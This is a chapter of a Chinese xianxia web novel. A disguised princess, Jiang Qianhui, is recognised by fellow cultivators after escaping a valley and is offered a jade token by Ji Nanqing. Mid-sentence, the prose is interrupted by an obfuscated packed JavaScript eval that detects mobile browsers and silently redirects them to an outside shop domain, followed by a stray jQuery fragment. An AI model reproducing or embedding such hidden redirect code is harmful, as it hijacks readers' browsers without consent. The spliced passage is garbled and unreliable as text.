从一开始见到这个修士,她就觉得古怪。

    这份古怪到了后面,不仅没有减弱,反而愈来愈盛。

    之前珑秀遇险,有一神秘修士出手相救,第五月本来还参不透是谁。

    可后来面对蚁后,这个修士第一个道破妖兽身份,冲出结界与之一战,让她瞬间明白,出手的正是此人。

    这人只是一个小小练气,出手却有如此威能,面对蚁后还能不靠心灯保持神台清明,身份更是成谜。

    第五月一直觉得她像一个人。

    像她之前在金陵大会上见过的姜国公主。

    姜千洄。

    可她不敢肯定,心里又惊又疑。

    姜千洄只是一个凡人,怎么可能在半个月内,就变成了一个实力不容小觑的邋遢散修?

    正巧陈星潭和江云云在场,第五月不介意叫破她的身份。

    她实在很好奇。

    姜千洄被她这么一喊,身体顿时一僵,迈出去的脚都停在了半空。

    完蛋!

    见所有人的目光都朝她聚集,陈星潭更是好奇的打量过来。

    季?察言观色?南清,见姜千洄浑身紧绷,小声问了一句。

    “你仇家?”

    不是仇家,是冤家。

    姜千洄摇摇头,叹了口气,认命地转过身来,朝第五月客气道。

    “圣女何事找我?”

    她出声的那一霎那,陈星潭浑身便是一震,不可置信的反复打量眼前这个看着古怪的小修士。

    此人为何给他一股强烈的熟悉感?

    第五月朝她躬身一拜:“方才多谢道友提醒,第五月感激不尽。”

    拜完,她又道:“不知道友姓甚名谁师承何处,我也好记下道友的恩情,改日必当登门拜谢。”

    “万万不敢当。”

    姜千洄垂眸,“在下只是一介散修,家师早已仙逝,不敢攀附圣女的恩情。”

    见她推脱,第五月皱了皱眉。

    “可是……”

    她还想继续追问,却被一旁的明蝉打断了话头。

    “这位小友,既然你不方便,那便等我们出了此地之后,再择几件法宝送于你,如此小友可觉得妥当?”

    明蝉一般不会打断自己说话,第五月也意识到自己失态,顿时收了声。

    此刻确实不是说这些的时候,不如等出了这里再私下问问那人。

    而姜千洄只想赶紧结束话题,连忙应道:“如此便好,如此便好。”

    她只在面上伪装了一二,却忘了换个音色,对不熟悉她的第五月还好糊弄过去,对着陈星潭却隐藏不住。

    她现在已隐约觉得陈星潭似乎看破了什么,看向她的视线都透露出了几分灼热,叫她如芒在背。

    姜千洄赶紧站到了季南清的身后去。

    那股视线跟随着姜千洄的移动,来到了季南清身上,季南清面上一愣,随即笑开,远远朝陈星潭低头示意,权当作打招呼。

    陈星潭不好再看,只好移开了目光。

    “他看到你了,你躲不掉的。”

    陈星潭一移开视线,季南清就偷偷对着姜千洄咬耳朵。

    “我知道。”姜千洄无可奈何,“此处人多眼杂,能躲一刻是一刻。”

    “万山雪的圣女和太玄宗的大弟子都认识你。”季南清意味深长看了她一眼,“叫我很好奇你的身份啊,姜道友。”

    “季大小姐不也对我隐瞒着身份吗?”

    说什么来水月境经商的世家商队,看这一路上韩老对她毕恭毕敬舍身保护的样子,就知道她绝不是一般商队小姐。

    “那看来我们是一丘之貉,同道中人啊。”

    季南清没有否认,反而来了一句自嘲,似乎话中有意。

    -

    “诸位,此地将崩,请大家和我一起合力破开结界。”

    少顷,结界破,出路现。

    众人再一环顾,哪还有什么僻静山谷,原来周围全是嶙峋怪石。之前商队一直找不到的出路就在人群前方,而他们不过一直在峡谷里来回打转罢了。

    没了蚁后的迷惑,他们很快就通过了罡风,出了峡谷。

    一路上,围着陈星潭和第五月的修士颇多,他二人是大宗子弟,还是崭露头角的新起之秀,与他们交好只有益处没有坏处。

    第五月也就罢了,平时就冷冷的,只可远观。可陈星潭待人接物都如沐春风,一点也没有大宗架子,倒叫好多修士由衷敬佩,恨不得人人都上去攀谈一二。

    这倒是合了姜千洄的意,她和季南清走在前面,只恨不能立马脱身而去。

    过了凌渡谷,便是出了水月境,到了沧澜境。

    东州七大国境十二小境,沧澜境是距东州州府最近的地域,盖因此地建有太玄的传送阵,只需交付灵石便可直达太玄在州府建立的宗门传输点。

    这样想来陈星潭和江云云出现在这里也不算奇怪,就是这距离当初宫变已经过去半个月了,距离金麟大会也已经一个月了,第五月是意外被困,陈星潭又是因为什么滞留这么久?

    难道是,为了自己?

    姜千洄眉心狠狠一跳。

    “姜道友,接下来你要去哪?”

    季南清悠悠开口问道。

    “我本打算去州府碰碰运气,看看还有没有一二宗门在招收弟子。”姜千洄回答。

    这事也没什么好瞒的,季南清的消息说不定比自己更灵通。

    果然,季南清沉吟了半晌,对她提议道:“我见姜道友骨龄不大,可惜却早已超过宗门培养新弟子的界限,且你已身有修为,传承还不明。”

    说到这,季南清语气放缓,意有所指:“宗门不会招收来历不明的散修做内门弟子,姜道友如果运气够好,说不定能进一些小门小派做个外门子弟。”

    姜千洄听了只暗暗摇头,原先是她眼界短浅一无所知,以为到了州府便可,可一路上听了这些修真界潜规则,她也渐渐明白。

    一个外门弟子可得不到宗门的太多重视。

    她若是想借着宗门威望震慑敬天意,叫他不敢对自己轻举妄动,那恐怕得背靠太玄那样的仙门大宗才行,可太玄必定看不上自己的资质。

    “姜道友若是没有想到去处,不如来我这。”

    姜千洄一凛,看向季南清,只见她微微扬起下巴,神态悠然,眼神明亮。

    “季大小姐何意?”

    季南清不说话,从身侧锦袋里掏出一块玉牌递给她。

    “这是?”

    玉牌触手温凉,姜千洄将其掂在手上看了看,只见这块玉牌整体四四方方,由温润细腻的和田

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665718|203060||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    白玉雕琢而成,正面上方雕刻着精致的云纹图案,云纹之下是一个古朴的季家徽章,一看便知是某个大家匠工所造。

    季家……

    姜千洄暗自思忖,她知中曲洲有几大世家,家势底蕴在凡人界和修真界都是望族,盘踞着中曲洲的土地,拥有绝对的统治权和管辖权。

    如果是那个季家,倒是说得过去。

    可季家势力一直都在中曲洲,与东州太玄门井水不犯河水,怎么季家的大小姐会出现在东州小小境内?

    “此事说来话长。”

    好似看出姜千洄的疑惑,季南清淡淡开口道:“如果姜道友你感兴趣,大可带着这块玉牌到东州州府找我,季某到时自会扫榻相迎。”

    季南清如此礼待,必定是有所相求,可姜千洄不知自己身上有何被她看重的地方。

    虽然心中这样想,但她也知这件事对她来说不定是一个机遇。

    于是姜千洄将玉牌握在手中,对季南清点头道:“不日定当登门造访。”

    季南清点点头,随即眼神古怪的看了一眼她的身后。

    “不过姜道友此时,还是赶紧把自己的事情先解决了吧。”

    她促狭一笑,“我先告辞。”

    姜千洄听到她这么一说便知大事不妙,刚想跟着她的脚步离开,下一秒身后便传来一声呼唤。

    “千洄!”

    姜千洄条件反射往后一看,不知何时原地人马已经散去大半,只余陈星潭第五月等人站在原地。

    那些商队被困谷中已有多日,此时一得见天日,是第一个跑没影的。

    修士们本来还想多套套近乎,可惜他们都是随队修士,还有任务在身,也都遗憾辞行了。

    此时陈星潭正直直地看着自己,眸中全是失而复得的惊喜。

    “果然是你。”

    他低声呢喃,下一刻便瞬移到了姜千洄面前,一把将她拥在怀中。

    “我听说你不见了,那日宫中那么危险,我担心你出事,到处找你,可是怎么都找不到你。”

    他拥着姜千洄,手臂微微收紧。

    “那日我就不该让你独自离开,对不起,是我没有护好你。”

    “等,等等!”

    姜千洄连忙把他推开,才呼出口气道:“你放心,我没事,你看我现在不是好好的吗?”

    当着这么多人的面,陈星潭知道自己失态了,可那日听到姜千洄失去踪迹,陈星潭真的十分自责和懊悔。

    如果当日他好好陪在千洄身边,千洄就不会遇到不测。

    “那天到底发生了什么?你去了哪里?怎么又会在这里?”

    “我……”

    一连串的问题打得姜千洄哑口无言,张了张口,不知从何说起,只好无奈道:“此时说来话长。”

    见陈星潭大有追问之意,身后第五月连上前劝解道。

    “姜姑娘出现在此处,一定是有际遇。”

    “不过此处不是说话之处,陈道友,不如找个安静的地方,再好好与姜姑娘详谈,你看如何?”

    陈星潭这才恍然,退了一步放开姜千洄,口中愧疚道:“对不起,我是不是吓着你了。”

    “没有。”

    姜千洄摇头,又朝第五月看去,第五月静静与她对视,对着她轻轻抿唇微笑。